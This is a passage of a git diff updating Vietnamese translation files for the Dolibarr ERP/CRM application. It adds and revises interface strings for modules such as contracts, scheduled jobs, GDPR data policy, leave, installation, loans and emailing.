phụ nếu tài khoản kế toán chuyên dụng của nhà cung cấp bên thứ ba không được xác định. ConfirmCloneTax=Xác nhận nhân bản thuế xã hội / tài chính ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Doanh số hàng mua đã ra hoá đơn ReportPurchaseTurnoverCollected=Doanh số hàng mua đã tập hợp IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/vi_VN/contracts.lang b/htdocs/langs/vi_VN/contracts.lang index 175fe646d97..0883ace32ea 100644 --- a/htdocs/langs/vi_VN/contracts.lang +++ b/htdocs/langs/vi_VN/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Hợp đồng/Thuê bao ContractsAndLine=Hợp đồng và chi tiết của hợp đồng Contract=Hợp đồng ContractLine=Phạm vi hợp đồng +ContractLines=Contract lines Closing=Đang đóng NoContracts=Không có hợp đồng nào MenuServices=Dịch vụ @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Bạn có chắc chắn muốn xoá phạm vi hợp đ MoveToAnotherContract=Chuyển dịch vụ vào hợp đồng khác. ConfirmMoveToAnotherContract=Tôi đã chọn hợp đồng đích mới và xác nhận muốn chuyển dịch vụ này vào hợp đồng đó. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Làm mới chi tiết hợp đồng (số %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Ngày hết hạn NoExpiredServices=Không có dịch vụ kích hoạt đã hết hạn ListOfServicesToExpireWithDuration=Danh sách dịch vụ sẽ hết hạn trong %s ngày @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Liên lạc để ký hợp đồng c HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/vi_VN/cron.lang b/htdocs/langs/vi_VN/cron.lang index 401b1d5e1f7..57833556461 100644 --- a/htdocs/langs/vi_VN/cron.lang +++ b/htdocs/langs/vi_VN/cron.lang @@ -26,7 +26,7 @@ CronCommand=Lệnh CronList=Công việc theo lịch trình CronDelete=Xóa công việc theo lịch trình CronConfirmDelete=Bạn có chắc chắn muốn xóa các công việc theo lịch trình này? -CronExecute=Khởi chạy công việc theo lịch trình +CronExecute=Launch now CronConfirmExecute=Bạn có chắc chắn muốn thực hiện các công việc theo lịch trình này ngay bây giờ? CronInfo=Mô-đun công việc được lên lịch cho phép lên lịch các công việc để thực hiện chúng tự động. Công việc cũng có thể được bắt đầu bằng tay. CronTask=Công việc @@ -58,7 +58,7 @@ CronNote=Nhận xét CronFieldMandatory=Các trường %s là bắt buộc CronErrEndDateStartDt=Ngày kết thúc không thể trước ngày bắt đầu StatusAtInstall=Trạng thái khi cài đặt mô-đun -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Vô hiệu hoá CronTaskInactive=This job is disabled (not scheduled) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Đi vào menu " Trang chủ - Công JobDisabled=Công việc bị vô hiệu hóa MakeLocalDatabaseDumpShort=Sao lưu cơ sở dữ liệu cục bộ MakeLocalDatabaseDump=Tạo một kết xuất cơ sở dữ liệu cục bộ. Các tham số là: nén('gz' hoặc 'bz' hoặc 'none'), loại sao lưu ('mysql', 'pssql', 'auto'), 1, 'auto' hoặc tên tệp để tạo, số lượng tệp sao lưu cần giữ +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Chú ý, vì mục đích hiệu suất, bất kể ngày nào là ngày thực hiện các công việc được kích hoạt, công việc của bạn có thể bị trì hoãn tối đa là %s giờ trước khi được chạy. DATAPOLICYJob=Trình dọn dẹp dữ liệu và ẩn danh JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/vi_VN/datapolicy.lang b/htdocs/langs/vi_VN/datapolicy.lang new file mode 100644 index 00000000000..41ec560e4b7 --- /dev/null +++ b/htdocs/langs/vi_VN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Khách hàng +DATAPOLICY_TIERS_PROSPECT = KH tiềm năng +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Nhà cung cấp +DATAPOLICY_CONTACT_CLIENT = Khách hàng +DATAPOLICY_CONTACT_PROSPECT = KH tiềm năng +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Nhà cung cấp +DATAPOLICY_ADHERENT = Thành viên +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/vi_VN/dict.lang b/htdocs/langs/vi_VN/dict.lang index e93b63dcc7b..25580260292 100644 --- a/htdocs/langs/vi_VN/dict.lang +++ b/htdocs/langs/vi_VN/dict.lang @@ -21,7 +21,7 @@ CountryNL=Hà Lan CountryHU=Hungary CountryRU=Nga CountrySE=Thụy Điển -CountryCI=Ivoiry Coast +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Cameroon @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Bà +CivilityMMEShort=Bà CivilityMR=Ông +CivilityMRShort=Ông CivilityMLE=Cô CivilityMTRE=Thạc sĩ CivilityDR=Tiến sĩ diff --git a/htdocs/langs/vi_VN/ecm.lang b/htdocs/langs/vi_VN/ecm.lang index 407caefa820..82018cff366 100644 --- a/htdocs/langs/vi_VN/ecm.lang +++ b/htdocs/langs/vi_VN/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Thư mục ECMSectionAuto=Thư mục tự động ECMSectionsManual=Cây thư mục ECMSectionsAuto=Cây tự động +ECMSectionsMedias=Medias tree ECMSections=Thư mục ECMRoot=Gốc ECMNewSection=Thư mục mới @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Số ảnh trong thư mục con ECMCreationUser=Người tạo ECMArea=Vùng DMS/ECM ECMAreaDesc=Vùng DMS/ECM (Document Management System / Electronic Content Management) cho phép bạn lưu, chia sẻ và tìm nhanh mọi loại tài liệu trong hệ thống. -ECMAreaDesc2=* Thư mục tự động được điền tự động khi thêm tài liệu từ thẻ của một phần tử.
      * Hướng dẫn sử dụng các thư mục có thể được sử dụng để lưu các tài liệu không liên quan đến một yếu tố cụ thể. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Thư mục% s đã bị xóa. ECMSectionWasCreated=Thư mục %s đã được tạo ECMSearchByKeywords=Tìm kiếm theo từ khóa diff --git a/htdocs/langs/vi_VN/holiday.lang b/htdocs/langs/vi_VN/holiday.lang index a004e3a5064..31b61101a3e 100644 --- a/htdocs/langs/vi_VN/holiday.lang +++ b/htdocs/langs/vi_VN/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Nghỉ +Holidays=Leaves +Holiday=Nghỉ CPTitreMenu=Nghỉ MenuReportMonth=Báo cáo hàng tháng MenuAddCP=Xin nghỉ phép +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Bạn phải kích hoạt mô-đun Nghỉ để xem trang này. AddCP=Tạo một yêu cầu nghỉ phép DateDebCP=Ngày bắt đầu @@ -56,6 +58,7 @@ ConfirmDeleteCP=Xác nhận việc xóa yêu cầu nghỉ này? ErrorCantDeleteCP=Lỗi bạn không có quyền xóa yêu cầu nghỉ phép này. CantCreateCP=Bạn không có quyền thực hiện các yêu cầu nghỉ phép. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Bạn phải chọn một ngày bắt đầu. NoDateFin=Bạn phải chọn ngày kết thúc. ErrorDureeCP=Yêu cầu nghỉ phép của bạn không có một ngày làm việc. @@ -79,6 +82,8 @@ MotifCP=Lý do UserCP=Người dùng ErrorAddEventToUserCP=Đã xảy ra lỗi khi thêm ngày nghỉ đặc biệt. AddEventToUserOkCP=Việc bổ sung nghỉ đặc biệt đã được hoàn thành. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Lịch sử thay đổi LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Cân bằng trước NewSoldeCP=Tạo cân bằng alreadyCPexist=Một yêu cầu nghỉ phép đã được thực hiện vào thời gian này. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Nhóm +users=Người dùng +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=%s yêu cầu nghỉ phép mới được sửa @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/vi_VN/install.lang b/htdocs/langs/vi_VN/install.lang index 33bf62bdb76..4b83b2f9693 100644 --- a/htdocs/langs/vi_VN/install.lang +++ b/htdocs/langs/vi_VN/install.lang @@ -51,7 +51,6 @@ DatabaseName=Tên cơ sở dữ liệu DatabasePrefix=Tiền tố bảng cơ sở dữ liệu DatabasePrefixDescription=Tiền tố bảng cơ sở dữ liệu. Nếu trống, mặc định là llx_. AdminLogin=Tài khoản người dùng cho chủ sở hữu cơ sở dữ liệu Dolibarr. -PasswordAgain=Nhập lại xác nhận mật khẩu AdminPassword=Mật khẩu cho chủ sở hữu cơ sở dữ liệu Dolibarr. CreateDatabase=Tạo cơ sở dữ liệu CreateUser=Tạo tài khoản người dùng hoặc cấp quyền tài khoản người dùng trên cơ sở dữ liệu Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Đã tồn tại DolibarrAdminLogin=Dolibarr quản trị đăng nhập AdminLoginAlreadyExists=Tài khoản quản trị viên Dolibarr '%s' đã tồn tại. Quay trở lại nếu bạn muốn tạo một cái khác. FailedToCreateAdminLogin=Không thể tạo tài khoản quản trị viên Dolibarr. -WarningRemoveInstallDir=Cảnh báo, vì lý do bảo mật, khi quá trình cài đặt hoặc nâng cấp hoàn tất, bạn nên thêm một tệp có tên install.lock vào thư mục tài liệu Dolibarr để ngăn chặn việc sử dụng lại các công cụ cài đặt vô tình / độc hại. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Không có sẵn trong PHP này ChoosedMigrateScript=Chọn kịch bản di cư DataMigration=Di chuyển cơ sở dữ liệu (dữ liệu) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Ẩn các tùy chọn không khả dụng ErrorFoundDuringMigration=(Các) lỗi đã được báo cáo trong quá trình di chuyển nên bước tiếp theo không khả dụng. Để bỏ qua lỗi, bạn có thể nhấp vào đây , nhưng ứng dụng hoặc một số tính năng có thể không hoạt động chính xác cho đến khi lỗi được giải quyết. YouTryInstallDisabledByDirLock=Ứng dụng đã cố gắng tự nâng cấp, nhưng các trang cài đặt / nâng cấp đã bị vô hiệu hóa để bảo mật (thư mục được đổi tên với hậu tố .lock).
      YouTryInstallDisabledByFileLock=Ứng dụng đã cố gắng tự nâng cấp, nhưng các trang cài đặt / nâng cấp đã bị vô hiệu hóa để bảo mật (bởi sự tồn tại của tệp khóa install.lock trong thư mục tài liệu dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Nhấn vào đây để đi đến ứng dụng của bạn ClickOnLinkOrRemoveManualy=If an upgrade is in progress, please wait. If not, click on the following link. If you always see this same page, you must remove/rename the file install.lock in the documents directory. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Đã tải FunctionTest=Thử nghiệm chức năng +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/vi_VN/interventions.lang b/htdocs/langs/vi_VN/interventions.lang index 410b4171765..14bee02d420 100644 --- a/htdocs/langs/vi_VN/interventions.lang +++ b/htdocs/langs/vi_VN/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Ẩn giờ và phút ra của trường ngày cho InterventionStatistics=Thống kê các can thiệp NbOfinterventions=Số lượng thẻ can thiệp NumberOfInterventionsByMonth=Số thẻ can thiệp theo tháng (ngày xác nhận) -AmountOfInteventionNotIncludedByDefault=Số tiền can thiệp không được tính theo mặc định vào lợi nhuận (trong hầu hết các trường hợp, bảng chấm công được sử dụng để tính thời gian tiêu thụ). Thêm tùy chọn gồm PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT thành 1 vào Nhà - Thiết lập - Khác +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Id Can thiệp InterRef=Tham chiếu Can thiệp. InterDateCreation=Ngày tạo Can thiệp @@ -66,3 +66,7 @@ RepeatableIntervention=Mẫu can thiệp ToCreateAPredefinedIntervention=To create a predefined or recurring intervention, create a common intervention and convert it into intervention template ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/vi_VN/loan.lang b/htdocs/langs/vi_VN/loan.lang index 9caa82ae0e9..c05598741c8 100644 --- a/htdocs/langs/vi_VN/loan.lang +++ b/htdocs/langs/vi_VN/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=Cam kết tài chính InterestAmount=Lãi suất CapitalRemain=Gốc còn lại TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started +CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule # Admin ConfigLoan=Cấu hình của mô-đun cho vay -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Tài khoản kế toán vốn theo mặc định -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Tài khoản kế toán lãi vay theo mặc định -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Tài khoản kế toán bảo hiểm theo mặc định +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Chỉnh sửa cam kết tài chính diff --git a/htdocs/langs/vi_VN/mailmanspip.lang b/htdocs/langs/vi_VN/mailmanspip.lang index 9005d553e1c..17ff19eecc9 100644 --- a/htdocs/langs/vi_VN/mailmanspip.lang +++ b/htdocs/langs/vi_VN/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Kiểm tra đăng ký đã được thực hiện thành MailmanDeletionSuccess=Kiểm tra bỏ đăng ký đã được thực hiện thành công SynchroMailManEnabled=Một bản cập nhật Mailman sẽ được thực hiện SynchroSpipEnabled=Một bản cập nhật Spip sẽ được thực hiện -DescADHERENT_MAILMAN_ADMINPW=Mật khẩu quản trị Mailman +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mật khẩu quản trị Mailman DescADHERENT_MAILMAN_URL=URL cho đăng ký Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL cho unsubscriptions Mailman DescADHERENT_MAILMAN_LISTS=Danh sách (s) để tự động ghi các thành viên mới (cách nhau bằng dấu phẩy) diff --git a/htdocs/langs/vi_VN/mails.lang b/htdocs/langs/vi_VN/mails.lang index 13e7bdf3f4e..f694b07cfd0 100644 --- a/htdocs/langs/vi_VN/mails.lang +++ b/htdocs/langs/vi_VN/mails.lang @@ -7,10 +7,10 @@ MailCard=Thẻ Gửi Email MailRecipients=Người nhận MailRecipient=Người nhận MailTitle=Mô tả -MailFrom=Tên người gửi +MailFrom=Từ MailErrorsTo=Lỗi tới MailReply=Trả lời -MailTo=(những) Người nhận +MailTo=Đến MailToUsers=(những) Người dùng MailCC=Sao chép vào MailToCCUsers=Sao chép cho (những) người dùng @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Liên lạc theo vị trí MailingModuleDescEmailsFromFile=Email từ tập tin MailingModuleDescEmailsFromUser=Email đầu vào của người dùng MailingModuleDescDolibarrUsers=Người dùng có email -MailingModuleDescThirdPartiesByCategories=Các bên thứ ba (theo danh mục) +MailingModuleDescThirdPartiesByCategories=Bên thứ ba SendingFromWebInterfaceIsNotAllowed=Gửi từ giao diện web không được phép. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/vi_VN/main.lang b/htdocs/langs/vi_VN/main.lang index 1fd8b9d6113..cdb05fbebf4 100644 --- a/htdocs/langs/vi_VN/main.lang +++ b/htdocs/langs/vi_VN/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=Không có sẵn mẫu nào cho loại email này AvailableVariables=Các biến thay thế có sẵn NoTranslation=Không dịch Translation=Dịch +Translations=Translations CurrentTimeZone=Mã vùng thời gian PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Xác nhận Approve=Duyệt Disapprove=Không chấp thuận ReOpen=Mở lại +OpenVerb=Mở Upload=Tải lên ToLink=Liên kết Select=Chọn @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Không có nhóm người dùng được xác định Password=Mật khẩu -PasswordRetype=Nhập lại mật khẩu của bạn +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Lưu ý rằng rất nhiều tính năng/modules bị vô hiệu hóa trong trình diễn này. +YourUserFile=Your user file Name=Tên NameSlashCompany=Tên / Công ty Person=Cá nhân @@ -481,6 +490,7 @@ ActionsOnContact=Sự kiện cho liên lạc/ địa chỉ này ActionsOnContract=Sự kiện cho hợp đồng này ActionsOnMember=Sự kiện về thành viên này ActionsOnProduct=Sự kiện về sản phẩm này +ActionsOnAsset=Events for this fixed asset NActionsLate=%s cuối ToDo=Việc cần làm Completed=Đã hoàn thành @@ -888,6 +898,9 @@ MassFilesArea=Khu vực tạo các tệp bằng hành động hàng loạt ShowTempMassFilesArea=Hiển thị khu vực tạo các tệp bằng hành động hàng loạt ConfirmMassDeletion=Xác nhận xóa hàng loạt ConfirmMassDeletionQuestion=Bạn có chắc chắn muốn xóa (các) bản ghi đã chọn %s không? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Đối tượng liên quan ClassifyBilled=Xác định đã ra hóa đơn ClassifyUnbilled=Phân loại không có hóa đơn @@ -903,8 +916,8 @@ ExportFilteredList=Xuất danh sách đã lọc ExportList=Danh sách xuất ExportOptions=Tùy chọn xuất dữ liệu IncludeDocsAlreadyExported=Bao gồm các tài liệu đã được xuất -ExportOfPiecesAlreadyExportedIsEnable=Xuất dữ liệu các phần đã được xuất sẽ kích hoạt -ExportOfPiecesAlreadyExportedIsDisable=Xuất dữ liệu các phần đã được xuất sẽ vô hiệu +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Tất cả các dịch chuyển đã xuất đã được ghi là đã xuất NotAllExportedMovementsCouldBeRecordedAsExported=Không phải tất cả các dịch chuyển đã xuất có thể được ghi là đã xuất Miscellaneous=Linh tinh @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Tải xuống DownloadDocument=Tải tài liệu +DownloadSignedDocument=Download signed document ActualizeCurrency=Cập nhật tỷ giá tiền tệ Fiscalyear=Năm tài chính ModuleBuilder=Xây dựng mô-đun và ứng dụng @@ -1046,6 +1060,7 @@ SearchIntoContracts=Hợp đồng SearchIntoCustomerShipments=Lô hàng của khách hàng SearchIntoExpenseReports=Báo cáo chi tiêu SearchIntoLeaves=Nghỉ +SearchIntoKM=Knowledge base SearchIntoTickets=Vé SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Thanh toán của nhà cung cấp @@ -1117,6 +1132,7 @@ DeleteFileText=Bạn có chắc muốn xoá file này? ShowOtherLanguages=Xem ngôn ngữ khác SwitchInEditModeToAddTranslation=Mở sang chế độ chỉnh sửa và thêm bản dịch khác cho ngôn ngữ này NotUsedForThisCustomer=Không sử dụng cho khách hàng này +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Amount must be positive ByStatus=By status InformationMessage=Thông tin @@ -1137,15 +1153,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Tỷ lệ +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1204,21 @@ Terminated=Chấm dứt AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? 